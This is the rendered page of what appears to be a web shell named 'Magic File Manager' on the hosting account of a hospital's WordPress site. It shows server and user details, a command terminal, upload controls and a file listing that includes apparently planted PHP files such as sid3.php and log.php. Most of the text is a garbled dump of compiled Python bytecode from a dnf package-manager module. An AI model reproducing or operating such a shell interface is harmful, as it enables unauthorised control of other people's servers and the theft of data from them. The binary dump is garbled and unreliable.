✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log2.25 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 ÌÐg±¬ã @stdZddlmZddlmZddlmZyddlmZWn ek rXddlmZYnXddl Z ddl Z ddl Z ddl Z ddl Z ddlZddlZddlZddlZddlZddlmZdd lmZdd lmZmZddlZddlZddlZddlZddlZddl Zddl!Zddl"Zddl#Zddl$Zddl%Zddl&Zddl'Zddl(Zddl)Zddl*Zddl+Zddl,Zddl-Zddl.Zddl/Zddl0Zddl1Zddl2Zddl3Zddl4Zddl5Zddl6Zddl7Zddl8Zddl9Zddl:Zddl;ZddlZddl?Zddl@ZddlAZddlBZddlCZddlDZe jEd ƒZFdd d„ZGdd„ZHdd„ZIdd„ZJGdd„dejKƒZLGdd„deMƒZNdS)z/ Command line interface yum class and related. é)Úprint_function)Úabsolute_import)Úunicode_literals)ÚSequenceNé)Úoutput)ÚCliError)ÚucdÚ_ÚdnfÚcCs€t|jƒdt|jƒt|ƒ}t|jƒ}t|jƒ}xFd|fd|fd|ffD],\}}||j|dƒ|||d7<qLWdS)zl Get the length of each pkg's column. Add that to data. This "knows" about simpleList and printVer. rÚnaÚverÚridrN)ÚlenÚnameÚarchZevrZ _from_repoÚ setdefault)ÚdataÚpkgÚindentr rrÚdÚv©rú/usr/lib/python3.6/cli.pyÚ_add_pkg_simple_list_lens]s     rcCsÄiiidœ}x<|j|j|j|j|j|jfD]}x|D]}t||ƒq4Wq*Wt|jƒdkr„x*|j D] \}}t||ƒt||d d�q`W|d|d|dg}|j |d d �}|d |d  |d  fS) zA Work out the dynamic size of the columns to pass to fmtColumns. )r rrrú é)rr rrr)Zremainder_columnéz ) Ú installedÚ availableÚextrasÚ autoremoveÚupdatesÚrecentrrÚ obsoletesÚobsoletesTuplesZ calcColumns)rÚyplrZlstrZnpkgZopkgÚcolumnsrrrÚ_list_cmd_calc_columnshs   r)c CsÒdd„}tjj|ƒ}d}x´|jƒjƒj|d�D]œ}|r>tdƒd}|jdkrbd|j|j |j f}nd |j|j|j |j f}|j j |j ƒ}ttd ƒ||||jƒfƒttd ƒ|jr¸|jnd||jƒfƒq.WdS) NcSstjdtj|ƒƒS)Nz%c)ÚtimeÚstrftimeZgmtime)ÚxrrrÚ sm_ui_timezsz"print_versions..sm_ui_timeF)rr TÚ0z%s-%s.%sz %s:%s-%s.%sz Installed: %s-%s at %sz Built : %s at %s)r ÚsackÚ rpmdb_sackÚqueryrÚfiltermÚprintZepochÚversionÚreleaserÚtermÚboldrr Z installtimeZpackagerZ buildtime) ÚpkgsÚbaserr-r0ÚdonerrrrrrÚprint_versionsys    r;cCs>tdƒ}x0|jƒD]$\}}tj|j||d|dƒƒqWdS)NzTThe operation would result in switching of module '{0}' stream '{1}' to stream '{2}'rr)r ÚitemsÚloggerÚwarningÚformat)ÚswitchedModulesZmsg1Z moduleNameZstreamsrrrÚreport_module_switch’srAcsªeZdZdZd ‡fdd„ Zff‡fdd„ Zdd„Zd d „Zd d „Zd d„Z fdddfdd„Z dd„Z ggdfdd„Z dfdfdd„Z d!dd„Z‡fdd„Zdd„Z‡ZS)"ÚBaseCliz#This is the base class for yum cli.Ncs4|p tjjƒ}tt|ƒj|d�tj||jƒ|_dS)N)Úconf)r rCZConfÚsuperrBÚ__init__rZOutput)ÚselfrC)Ú __class__rrrEœszBaseCli.__init__cstjjrJ|jjsJt|jjƒƒ}|rJt|ƒt dƒj tj j d�}tj j|ƒ‚|j}|jj|ƒ}|rjtj|ƒ|ræg}g}d}xF|D]>} | jtjjkr |j| jƒq€| jtjjkr€d}|j| jƒq€W|`|sØ|jj|ƒn|jj||ƒ|�s|jjƒ�s|j�r’|jj�s|jj�r’|jj �r:tjt dƒj tj j!d�ƒn(d|jj"k�rbtjt dƒj tj j!d�ƒ|j#ƒ�r¤|jj$�s„|jj%ƒ �r¤t&t dƒƒ‚ntjt d ƒƒd S|�rD|�r:tjt d ƒƒy|jj'} |j(||jj)| ƒWn\tj j*k �r8} z:tj+j j,t-| ƒƒ} t d ƒd | } t.ƒtj j| ƒ‚WYd d } ~ XnX|j/|ƒ|jj �rRd St0|t1ƒ�sd|g}tj2ƒgt3|ƒ}t4t5|ƒj6|ƒ}|d k �r¸|j7j8|gƒd}tj9jj:|j7|j;ƒ}nd }|�rt.ƒt.dj<|jj=|ƒƒƒt.ƒx.|D]&} | j>t?jj@k�rêtj jt dƒƒ‚�qêW|S)zóTake care of package downloading, checking, user confirmation and actually running the transaction. :param display: `rpm.callback.TransactionProgress` object(s) :return: history database transaction ID or None aQIt is not possible to switch enabled streams of a module unless explicitly enabled via configuration option module_stream_switch. It is recommended to rather remove all installed content from the module, and reset the module using '{prog} module reset ' command. After you reset the module, you can install the other stream.)ÚprogTFz7{prog} will only download packages for the transaction.ZtestzP{prog} will only download packages, install gpg keys, and check the transaction.zOperation aborted.zNothing to do.NzDownloading Packages:zError downloading packages:z %srÚ zTransaction failed)Ar r9Z WITH_MODULESrCZmodule_stream_switchÚdictZ_moduleContainerZgetSwitchedStreamsrAr r?ÚutilÚ MAIN_PROGÚ exceptionsÚErrorZ transactionrZlist_transactionr=ÚinfoÚactionZFORWARD_ACTIONSÚappendrZBACKWARD_ACTIONSZ_tsZreportRemoveSizeZreportDownloadSizeZ isChangedZ_historyÚgroupÚenvÚ downloadonlyÚMAIN_PROG_UPPERZtsflagsÚ _promptWantedÚassumenoÚ userconfirmrZdownload_callback_total_cbZdownload_packagesÚprogressZ DownloadErrorÚcliZ indent_blockr r3Ú gpgsigcheckÚ isinstancerZCliTransactionDisplayÚlistrDrBÚdo_transactionÚhistoryÚoldZdbZRPMTransactionZ_transÚjoinZpost_transaction_outputÚstateÚlibdnfZTransactionItemState_ERROR)rFZdisplayr@ÚmsgZtransZpkg_strZ install_pkgsZrmpkgsZ install_onlyZtsiZtotal_cbÚeZspecificZerrstrÚtid)rGrrr^¡sŠ              zBaseCli.do_transactionc sg}xÌ|D]Ä}ˆj|ƒ\}}|dkr(q q |dkrĈjjo@ˆjj }tj sVtjjƒ rl| rltjj t dƒƒ‚‡fdd„}yˆj ||ƒWqÎtjj t fk rÀ}z|j t|ƒƒWYdd}~XqÎXq |j |ƒq W|rþx|D]} tj| ƒqÜWtjj t dƒƒ‚dS)aPerform GPG signature verification on the given packages, installing keys if possible. :param pkgs: a list of package objects to verify the GPG signatures of :raises: Will raise :class:`Error` if there's a problem rrzTRefusing to automatically import keys when running unattended. Use "-y" to override.cs ˆjjƒS)N)rrX)r,ÚyÚz)rFrrÚ$sz%BaseCli.gpgsigcheck..NzGPG check FAILED)Z_sig_check_pkgrCÚ assumeyesrWÚsysÚstdinÚisattyr rMrNr Z_get_key_for_packageÚ ValueErrorrQÚstrr=Úcritical) rFr8Zerror_messagesÚpoÚresultÚerrmsgZayÚfnrerdr)rFrr[ s&  " zBaseCli.gpgsigcheckcsXd‰x:|jjjd|jƒD]$}|tj}|rtjj|dƒ‰PqW‡fdd„|j Dƒ}|S)zBReturn list of changelogs for package newer then installed versionNrrcs$g|]}ˆdks|dˆkr|‘qS)NÚ timestampr)Ú.0Zchlog)Únewestrrú =sz-BaseCli.latest_changelogs..) Z_rpmconnZ readonly_tsZdbMatchrÚrpmZRPMTAG_CHANGELOGTIMEÚdatetimeZdateZ fromtimestampÚ changelogs)rFÚpackageZmiZchangelogtimesZchlogsr)rwrÚlatest_changelogs3s zBaseCli.latest_changelogscCs4d|djdƒtjj|dƒtjj|dƒf}|S)z*Return changelog formatted as in spec filez * %s %s %s ruz%a %b %d %X %YZauthorÚtext)r+r Zi18nr )rFZ changelogZ chlog_strrrrÚformat_changelogAs  zBaseCli.format_changelogcCs˜tƒ}x&|D]}|j|jp|jgƒj|ƒq Wxdt|jƒƒD]T}||}ttdƒj dj dd„|Dƒƒƒƒx$|j |dƒD]}t|j |ƒƒqzWq.r) rJrÚ source_namerrQÚsortedÚkeysr3r r?rar}r)rFZpackagesZbysrpmÚpr€Z bin_packagesZchlrrrÚprint_changelogsIs "zBaseCli.print_changelogsTFc CsR|jd||d�}|jjs |jjr@|jd||d�}|j|_|j|_|�rDt|j|ƒ}t|jƒdkröi}|jj j d} | r¶x>t |jƒD]0} | j ƒ} t jj| ƒr‚| jƒr‚| || j| jf<q‚W|jj} |jj} |jj|jdd||| | dœd �|rö|j|jƒt|jƒdk�rDttd ƒƒx0t |jtjdƒd �D]}|jj|d|d ��q(W|j�pP|jS) z?Check updates matching given *patterns* in selected repository.Zupgrades)Úreponamer%rr7r r])ú=znot in)Z outputTypeÚ highlight_nar(Úhighlight_modeszObsoleting Packages)Úkey)r()ÚreturnPkgListsrCr%Úverboser&r)rrr#r6ÚMODEr�ZlocalPkgÚosÚpathÚexistsZverifyLocalPkgrrÚcolor_update_localÚcolor_update_remoteÚlistPkgsr„r3r ÚoperatorÚ itemgetterÚupdatesObsoletesList)rFÚpatternsr…Zprint_r{r'Ztyplr(Ú local_pkgsÚ highlightrqZlocalÚculÚcurÚobtuprrrÚ check_updatesUs:    zBaseCli.check_updatescCsr|jjƒ}t|ƒdkr |jƒnx|D]}|j|ƒq&W|jjƒ|}|dkrn|jjƒ rntdƒ}tjj|ƒ‚dS)ab Upgrade or downgrade packages to match the latest versions available in the enabled repositories. :return: (exit_code, [ errors ]) exit_code is:: 0 = we're done, exit 1 = we've errored, exit with error string 2 = we've got work yet to do, onto the next stage rz4No packages marked for distribution synchronization.N) Z_goalZ req_lengthrZ distro_syncZreq_has_distupgrade_allr r rMrN)rFZuserlistZoldcountÚpkg_specZcntrdrrrÚdistro_sync_userlist{s    zBaseCli.distro_sync_userlistc CsTd}xf|D]^}y|j||d�d}Wq tjjk rf}z"tjtdƒ|jjj |j ƒƒWYdd}~Xq Xq WxÌ|D]Ä}y|j ||d�d}Wqrtjj k rÐ}z$tdƒ} tj| |jjj |ƒƒWYdd}~Xqrtjj k �r}z"tjtdƒ|jjj |jƒƒWYdd}~Xqrtjjk �r4d�s0t‚YqrXqrW|�sPtjjtdƒƒ‚dS) aaAttempt to take the user specified list of packages or wildcards and downgrade them. If a complete version number is specified, attempt to downgrade them to the specified version :param specs: a list of names or wildcards specifying packages to downgrade :param file_pkgs: a list of pkg objects from local files F)ÚstrictTzNo match for argument: %sNzNo package %s available.z6Packages for argument %s available, but not installed.z!No packages marked for downgrade.)Zpackage_downgrader rMZ MarkingErrorr=rOr rr6r7ÚlocationZ downgrade_toZPackageNotFoundErrorZPackagesNotInstalledErrorr�ÚAssertionErrorrN) rFZspecsZ file_pkgsrŸrrrreÚargÚerrrdrrrÚ downgradePkgs’s,   ( & "zBaseCli.downgradePkgsÚallc!CsDy$|jjjd}|j||||d�}Wn0tjjk rT}zdt|ƒgfSd}~X�nìXi}i} i} d} |dkrzt|j|ƒ} |rÈ|j rÈxB|j |j |j D],} | j | jf} | |ks¼| || kr˜| || <q˜W|oÐ|j�rx8|jD].} | j | jf} | | k�s| | | krÜ| | | <qÜW|�rP|j�rPx2t|jƒD]$}|jtjk�r(|| |j |jf<�q(W|jj}|jj}|jj}|jj}|jj|j tdƒ||| ||||dœd�}|jj}|jj}|jj}|jj }|jj|jtd ƒ|| | ||||d œd�}|jj|j!td ƒ|| d �}|jj|j"td ƒ|| d �}|jj#}|jj$}|jj|jtdƒ|| | ||dœd�}t%|j&ƒdk�r¬|dk�r¬t%|j&ƒ}t'tdƒƒxLt|j(t)j*dƒd�D]}|jj+|d| d ��qŽWn|jj|j&tdƒ|| d �}|jj|j,tdƒ|| d �} t%|ƒ�r@| dk�r@|dk�r@|dk�r@|dk�r@|dk�r@|dk�r@|dk�r@tjjtdƒƒ‚dS)zJOutput selection *pkgnarrow* of packages matching *patterns* and *repoid*.r7)Úinstalled_availabler…rNr]zInstalled Packages)ú>úr9Ú cli_commandsÚcommandr rZZdemandZ DemandSheetÚdemandsÚregister_commandZcommandsÚaliasZ AliasCommandr"ZAutoremoveCommandZcheckZ CheckCommandZcleanZ CleanCommandZ distrosyncZDistroSyncCommandZdeplistZDeplistCommandZ downgradeZDowngradeCommandrRZ GroupCommandr_ZHistoryCommandZinstallZInstallCommandZ makecacheZMakeCacheCommandZmarkZ MarkCommandÚmoduleZ ModuleCommandZ reinstallZReinstallCommandÚremoveZ RemoveCommandÚrepolistZRepoListCommandZ repoqueryZRepoQueryCommandÚsearchZ SearchCommandÚshellZ ShellCommandZswapZ SwapCommandZ updateinfoZUpdateInfoCommandZupgradeZUpgradeCommandZupgrademinimalZUpgradeMinimalCommandZ InfoCommandZ ListCommandZProvidesCommandZCheckUpdateCommandZRepoPkgsCommandZ HelpCommand)rFr9rrrrEfsBz Cli.__init__cCs|jj|ƒ|jr^xJ|jjƒD]<\}}|jjj||jj|gd�}|j|ƒ|jj |dfƒqW|j rŠ|jj dd ƒ|jj dd„|j Dƒƒt ƒ}yzxt|jD]j\}}|jjj|ƒ}|sè|jjjrÞ|dkrÞtdƒ} tjj| |ƒ‚|j|ƒ|dk�rü|jƒqš|jƒqšWWnFtjjk �rP} z$tj| ƒ|jjƒtjd ƒWYdd} ~ XnXx|D]}tjtd ƒ|ƒ�qXW|jjj ƒ} | dk�r”|jjj!ƒ} x,| D]$} |jjj"| ƒ}|�rš|j#j$ƒ�qšW|jj%j&ƒ\} |j_'|jjj(ƒj)| ƒt%j*|j|jj%ƒ}|jjj(ƒj+|ƒdS) N)ZbaseurlÚenablerÚ*ÚdisablecSsg|] }|df‘qS)rÅr)rvÚrrrrrx•sz(Cli._configure_repos..zUnknown repo: '%s'rzNo repository match: %s)rÆrÇ),r9Zread_all_reposZ repofrompathr<ÚreposZ add_new_reporCÚ_configure_from_optionsZrepos_edrQÚrepoÚinsertr²ÚsetZ get_matchingrŸr r rMZ RepoErrorÚaddrÅrÇÚ ConfigErrorr=rpÚ optparserÚ print_helprkÚexitr>Z_repo_persistorZget_expired_reposr‚ÚgetÚ_repoÚexpirerZsetup_progress_callbacksZ _ds_callbackr¥Úset_progress_barZ CliKeyImportZ_set_key_import)rFÚoptsZlabelrŽZ this_repoZnotmatchrËZ operationrÂrdreZ expired_reposrZbarZ key_importrrrÚ_configure_reposŠsL            zCli._configure_reposcCsvtjdjtjjd�tjjƒtjtj j d|j ƒtjtj j d|j j jƒtjtj j d|j j jƒtjd|j j jƒdS)Nz{prog} version: %s)rHz Command: %szInstallroot: %szReleasever: %sz cachedir: %s)r=Údebugr?r rKrUÚconstÚVERSIONÚlogÚloggingÚDDEBUGÚ cmdstringr9rCÚ installrootÚ releaseverÚcachedir)rFrrrÚ_log_essentials½s      zCli._log_essentialscCs|j}|jj}|jr.tjjƒs.tjjt dƒƒ‚|j rLx|j ƒD] }d|_ q>W|j s\|jjj rŠd|jj_ xn|jƒD]}|jjtjjƒqpWnL|jr®xD|j ƒD]}|jjƒqšWn(|jsÖx |jƒD]}|jjtjjƒq¾W|j�rþ|jj|jjrðdnd|jjd�dS)Nz[This command has to be run with superuser privileges (under the root user on most systems).TÚautoF)Úload_system_repoZload_available_repos)r½r9rÉZ root_userr rKZ am_i_rootrMrNr r{Ú iter_enabledZload_metadata_otherÚ cacheonlyrCÚvaluesrÔZsetSyncStrategyrËZSYNC_ONLY_CACHEÚfreshest_metadatarÕZfresh_metadataZ SYNC_LAZYZsack_activationZ fill_sackråZavailable_repos)rFr½rÉrËrrrÚ_process_demandsÈs.    zCli._process_demandscCs°|j}|jj|ƒ}|dkr~tjtdƒ|tjdƒ|jj j r`tjtdƒj t j jt j jd�|ƒntjtdƒj t j jd�ƒt‚||ƒ|_tjt jjd|ƒtjt jjd |ƒdS) z,Check that the requested CLI command exists.Nz)No such command: %s. Please use %s --helprzLIt could be a {PROG} plugin command, try: "{prog} install 'dnf-command(%s)'")rHZPROGzRIt could be a {prog} plugin command, but loading of plugins is currently disabled.)rHzBase command: %szExtra commands: %s)r¼r»rÓr=rpr rkÚargvr9rCZpluginsr?r rKrLrUrrÜrÝrÞ)rFr×r³r­Ú command_clsrrrÚ_parse_commandsçs      zCli._parse_commandsNc Csœtjjjƒ}|j|ƒ}|dkr*tjjjƒn||_|jj|ƒ}|j rpt tj j ƒt |jjj|j|jjƒtjdƒ|jr‚d|_d|_|jr˜tj j|_|_yh|jrÄ|jjjd|jjjtjjƒd|j_|jjj|ƒ|j|j ƒd|krò|j!|jj_!|jjj"ƒWnœtj#j$t%fk �rF}z t&j't(dƒ|ƒtjdƒWYdd}~XnXt)k �rœ}z:d t*t+|ƒƒt,|j-ƒf}t&j't(dƒ|ƒtjdƒWYdd}~XnX|j.dk �rè|j.|jj_.|jjj/ �rè|j0dk�rèt&j't(dƒƒtjdƒ|j1�sø|j2�r|j0dk�rt&j't(dƒƒtjdƒ|j3dk �r>t4j5t6j7|j3dƒƒ|jj8|j9dƒ|jj:|j;|j<|ƒ|jj8|j9dƒ|j0�sŽ|jj=ƒtjdƒ||j_>|jj?d|_@x$|jj>D]}|j@d|7_@�q®W|jAƒy|jB||ƒWn tCk �rtjdƒYnX|jD�r$|jj=|j0ƒtjdƒ|jjE|j0|ƒ}|jF�rN|jF|j_Gd|j_H|jI�r`|jI|j_I|jJ�rrd|jj_K|jL�r„d|jj_L|j0jMƒ|jjNƒ|jjOƒ|jP|ƒ|jjQƒ|jjj|ƒ|j0jRƒ|jjj.�rtjSjT|jjj.ƒ|jjj.|jjUjVƒ_W|jjjXdk�r(|jjjYjZ|jjjXd�t[j\dƒdk�r˜d}x,|jjUj]ƒD]}|j^�rZ�qJd|_^d}�qJW|jjj_�s„d|jj__d}|�r˜t&j`t(dƒƒdS)aParse command line arguments, and set up :attr:`self.base.conf` and :attr:`self.cmds`, as well as logger objects in base instance. :param args: a list of command line arguments :param option_parser: a class for parsing cli options NrrrâTrzConfig error: %srz%s: %sÚdownloadúsystem-upgradeÚreposyncÚ modulesynczb--destdir or --downloaddir must be used with --downloadonly or download or system-upgrade command.zconfig-managerz_--enable, --set-enabled and --disable, --set-disabled must be used with config-manager command.é<ÚmainZpluginrz%s rä)Úcolorz%_pkgverify_levelÚ signaturer¥Fz‘Warning: Enforcing GPG signature check globally as per active RPM security policy (see 'gpgcheck' in dnf.conf(5) for how to squelch this message))rîrïrðrñ)rõr¥)ar rZÚaliasesZAliasesZresolveÚ option_parserZ OptionParserrÐZparse_main_argsr4r3rÚrÛr;r9rCZhistory_record_packagesrrkrÒÚquietZ debuglevelZ errorlevelr‹Z VERBOSE_LEVELrçZ _set_valueZsystem_cachedirZ PRIO_DEFAULTr½rÊÚ_read_conf_filerárZ_adjust_conf_optionsrMrÏrnr=rpr ÚIOErrorr roÚreprÚfilenameZdestdirrTr¼Z set_enabledZ set_disabledZ sleeptimer*ZsleepÚrandomZ randrangeZ add_commandsr»Z init_pluginsZ disablepluginZ enablepluginrÑr³rHrßrãrírÚhelpZparse_command_argsZ allowerasingZ allow_erasingZ_allow_erasingréZ debugsolverZ debug_solverr%Z pre_configureZpre_configure_pluginsZ_activate_persistorrØZconfigure_pluginsÚ configurerKZ ensure_dirrÉr¥Zpkgdirrôr6ZreinitryZ expandMacroræZgpgcheckZlocalpkg_gpgcheckr>) rFr³r÷rör×rer¢ZforcingrËrrrrÿýsÀ                                z Cli.configurecCsBtjjdƒ}|jj}|jdƒ|jdƒ|jdƒ}|jdƒtjj krht j j |ƒ rhtj jtdƒj|ƒƒ‚|jtjjd�|jdƒ}|jdƒtjj kr˜d}|j}|j||jdƒd�|dkrÔ|jdkrÔtjj|jƒ}n|dkrètjj|ƒ}|dk rö||_|jdk�rtjtd ƒƒxd D]}|j|ƒ�qW|jjj|ƒ|ƒ|S)NÚconfigZconfig_file_pathzConfig file "{}" does not exist)ZpriorityZreposdirÚvarsdirú/)rzPUnable to detect release version (use '--releasever' to specify release version)râÚlogdirÚ persistdir)rârr)r rÝZTimerr9rCZ_check_remote_fileZ_search_inside_installrootZ _get_valueZ _get_priorityZPRIO_COMMANDLINEr�rŽÚisfilerMrÏr r?ÚreadZPRIO_MAINCONFIGZ substitutionsZupdate_from_etcráryZdetect_releaseverràr=r>Zprepend_installrootÚ_loggingZ_setup_from_dnf_conf)rFráZtimerrCrüZ from_rootZsubstÚoptrrrrùŒs6        zCli._read_conf_fileÚeqcCsŒ|dkr|dkrdSg}|js"|r,|jdƒ|js6|r@|jdƒ|jsJ|rT|jdƒ|js^|rh|jdƒ|jj|||j|j|j |j d�dS)zz :param opts: :param cmp_type: string supported "eq", "gte" :param all: :return: NÚbugfixÚ enhancementÚ newpackageÚsecurity)ÚtypesÚadvisoryÚbugzillaÚcvesÚseverity) r rQr r r r9Zadd_security_filtersrrrr)rFr×Zcmp_typer¥rrrrÚ _populate_update_security_filter¹s        z$Cli._populate_update_security_filtercCs4|dk r|jjjj|ƒ|dk r0|jjjj|ƒdS)zü Change minimal logger level for terminal output to stdout and stderr according to specific command requirements @param stdout: logging.INFO, logging.WARNING, ... @param stderr:logging.INFO, logging.WARNING, ... N)r9rZstdout_handlerZsetLevelZstderr_handler)rFÚstdoutÚstderrrrrÚredirect_loggerÒszCli.redirect_loggercCs.tjjj|ƒ}||jj_|jjjƒj|ƒdS)N) r rZrYZMultiFileProgressMeterr9rrÉr¥rÖ)rFZforYrrrÚredirect_repo_progressßs zCli.redirect_repo_progresscCs„|jjjƒ}|dkrdS|jjjƒj|jd�}|jƒ}|jdd�|}x|D]}||krL|}qLW||kr€td|ƒtd|ƒdS)N)r±r )Z advisory_typez,Security: %s is an installed security updatez-Security: %s is the currently running version)r9r/Zget_running_kernelr1r2rrr3)rFZkernelÚqZikpkgrrrrÚ_check_running_kerneläs    zCli._check_running_kernelcCs*t|jjƒƒtjjtdj||ƒƒƒ‚dS)Nz)argument {}: not allowed with argument {})r3rÐZ print_usager rMrNr r?)rFZoption_string_1Zoption_string_2rrrÚ_option_conflictös zCli._option_conflictcCs<x6|jD],}||jkr*tjjtdƒ|ƒ‚||j|<qWdS)zRegister a Command. :apizCommand "%s" already definedN)rör»r rMrÏr )rFrìrrrrr¾ûs  zCli.register_commandcCsì|jƒ|jjjr8tjtdƒdjtt |jjjƒƒƒƒ|jjj rhtjtdƒdjtt |jjj ƒƒƒƒxx|jj j ƒD]h}|jr¬tjtdƒ|j ddjtt |jƒƒƒƒ|j rvtjtdƒ|j ddjtt |j ƒƒƒƒqvW|jjƒS)a2Call the base command, and pass it the extended commands or arguments. :return: (exit_code, [ errors ]) exit_code is:: 0 = we're done, exit 1 = we've errored, exit with error string 2 = we've got work yet to do, onto the next stage zExcludes in dnf.conf: z, zIncludes in dnf.conf: zExcludes in repo z: zIncludes in repo )rêr9rCZ excludepkgsr=rÙr rar�rÍZ includepkgsrÉræÚidr¼Úrun)rFrËrrrrs  " "(,zCli.run)N)N)r N)NN)rµr¶r·rErØrãrêrírÿrùrrrkrrrrr¾rrrrrrºes$3   -  rº)r )Or¸Z __future__rrrÚcollections.abcrÚ ImportErrorÚ collectionsrzrÝr“r�rýryrkr*r¬Zlibdnf.transactionrcr rZdnf.clirZdnf.i18nr r r Zdnf.cli.aliasesZdnf.cli.commandsZdnf.cli.commands.aliasZdnf.cli.commands.autoremoveZdnf.cli.commands.checkZdnf.cli.commands.cleanZdnf.cli.commands.deplistZdnf.cli.commands.distrosyncZdnf.cli.commands.downgradeZdnf.cli.commands.groupZdnf.cli.commands.historyZdnf.cli.commands.installZdnf.cli.commands.makecacheZdnf.cli.commands.markZdnf.cli.commands.moduleZdnf.cli.commands.reinstallZdnf.cli.commands.removeZdnf.cli.commands.repolistZdnf.cli.commands.repoqueryZdnf.cli.commands.searchZdnf.cli.commands.shellZdnf.cli.commands.swapZdnf.cli.commands.updateinfoZdnf.cli.commands.upgradeZdnf.cli.commands.upgrademinimalZdnf.cli.demandZdnf.cli.formatZdnf.cli.option_parserZdnf.confZdnf.conf.substitutionsZ dnf.constZdnf.db.historyZdnf.exceptionsZ dnf.loggingZ dnf.persistorZ dnf.pluginZdnf.rpmZdnf.sackZdnf.transactionZdnf.utilZ dnf.yum.miscZ getLoggerr=rr)r;rAZBaserBÚobjectrºrrrrÚs�       O